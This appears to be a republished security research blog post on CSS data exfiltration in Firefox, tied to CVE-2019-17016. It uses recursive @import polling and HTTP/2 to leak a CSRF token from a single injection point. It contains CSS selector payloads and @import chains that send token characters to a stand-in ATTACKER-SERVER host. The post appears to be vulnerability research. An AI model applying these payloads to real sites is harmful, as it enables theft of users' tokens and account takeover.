内容简介:A few months ago I identified a security issue in Firefox known asFor the sake of the examples, we assume that we want to leak CSRF token fromWe cannot use scripts (perhaps because of CSP), so we need to settle for style injection. The classic way is to us
A few months ago I identified a security issue in Firefox known as CVE-2019-17016 . During analysis of the issue, I’ve come up with a new technique of CSS data exfiltration in Firefox via a single injection point which I’m going to share in this blog post.
Basics and prior art
For the sake of the examples, we assume that we want to leak CSRF token from <input>
element.
<input type="hidden" name="csrftoken" value="SOME_VALUE">
We cannot use scripts (perhaps because of CSP), so we need to settle for style injection. The classic way is to use attribute selectors, for instance:
input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); }
If the CSS rule is applied, then the attacker gets an HTTP request, leaking the first character of the token. Then, another stylesheet needs to be prepared that includes the first known character, for instance:
input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); }
It was usually assumed that subsequent stylesheets need to be provided via reloading the page that is loaded in an <iframe>
.
In 2018 Pepe Vila had an amazing concept that we can achieve the same in Chrome with a single injection point by abusing CSS recursive imports . The same trick was rediscovered in 2019 by Nathanial Lattimer (aka @d0nutptr ), however with a slight variation . I’ll summarize Lattimer’s approach below because it is closer to what I’ve come up with in Firefox, even though (what’s pretty funny) I wasn’t aware of Lattimer’s research when doing my own one. So one can say that I rediscovered a rediscovery…
In a nutshell, the first injection is a bunch of imports:
@import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ...
Then the idea is as follows:
@import @import ATTACKER-SERVER ATTACKER-SERVER
The technique works because Chrome processes imports asynchronously, so when any import stops blocking, Chrome immediately parses it and applies it.
Firefox and stylesheet processing
The method from previous paragraph doesn’t work in Firefox at all because of significant differences in processing of stylesheets in comparison to Chrome. I’ll explain the differences on a few simple examples.
First of all, Firefox processes stylesheets synchronously. So when there are multiple imports in a stylesheet, Firefox won’t apply any CSS rules until all of the imports are processed. Consider the following example:
<style> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </style>
Assume that the first @import
returns a CSS rule that sets the background of the page to blue
while the next imports are blocking (i.e. they never return anything, hanging the HTTP connection). In Chrome, the page would turn blue immediately. In Firefox, nothing happens.
The problem can be circumvented by placing all imports in separate <style>
elements:
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style>
In the case above, Firefox treats all stylesheets separately, so the page turns blue instantly and the other imports are processed in the background.
But then there’s another problem. Let’s say that we want to steal a token with 10 characters:
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style>
Firefox would immediately queue all 10 imports. After processing the first import, Firefox would queue another request with character leak. The problem is that this request is put at the end of the queue and by default the browser has a limit of 6 concurrent connections to a single server. So the request with the leak would never reach the server as there are 6 other blocking connections to the server and we’re going to have a dead-lock.
HTTP/2 to the rescue!
The limit of 6 connections is enforced on TCP layer. So there can be only 6 simultaneous TCP connections to a single server. At this point I had an idea that HTTP/2 could be the solution. If you’re not aware of benefits brought by HTTP/2, one of its main selling points is that you can send multiple HTTP requests over a single connection (known as multiplexing ) which increases the performance greatly.
Firefox has a limit of concurrent requests on a single HTTP/2 connection too but by default it is 100 ( network.http.spdy.default-concurrent
in about:config
). If we need more, we can force Firefox to create a second TCP connection by using a different host name. For instance, if I create 100 requests to https://localhost:3000
and 50 requests to https://127.0.0.1:3000
, Firefox would create two TCP connections.
Exploit
Now I have all the building blocks needed to prepare a working exploit. Here’s key assumptions:
- The exploit code would be served over HTTP/2.
- Endpoint
/polling/:session/:index
returns a CSS to leak:index
-th character. The request would block unlessindex-1
characters were already leaked.:session
path parameter is used to distinguish various exfiltration attempts. - Endpoint
/leak/:session/:value
is used to leak a token.:value
would be the whole value leaked, not just the last character. - To force Firefox to make two TCP connections one endpoint would be reached via
https://localhost:3000
and the other one viahttps://127.0.0.1:3000
. - Endpoint
/generate
is used to generate a sample code.
I’ve created a testbed in which the goal is to steal the csrftoken
via data exfiltration. You can access it directly here .
I’ve hosted the proof-of-concept on GitHub , and below is a videocast showing that it works:
What’s interesting is that because of HTTP/2 the exploit is blazingly fast; it took less than three seconds to leak the entire token.
Summary
In the article I’ve shown that you can leak data via CSS if you have a single injection point and you don’t want to reload the page. This is possible thanks to two features:
@import
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MultiCharts Powerlanguage 语法字典
MultiCharts中国技术顾问团队 / 东方出版社 / 2013-9-1 / 38
MC编程工具书,适用于MC7.4及8.5版本一起来看看 《MultiCharts Powerlanguage 语法字典》 这本书的介绍吧!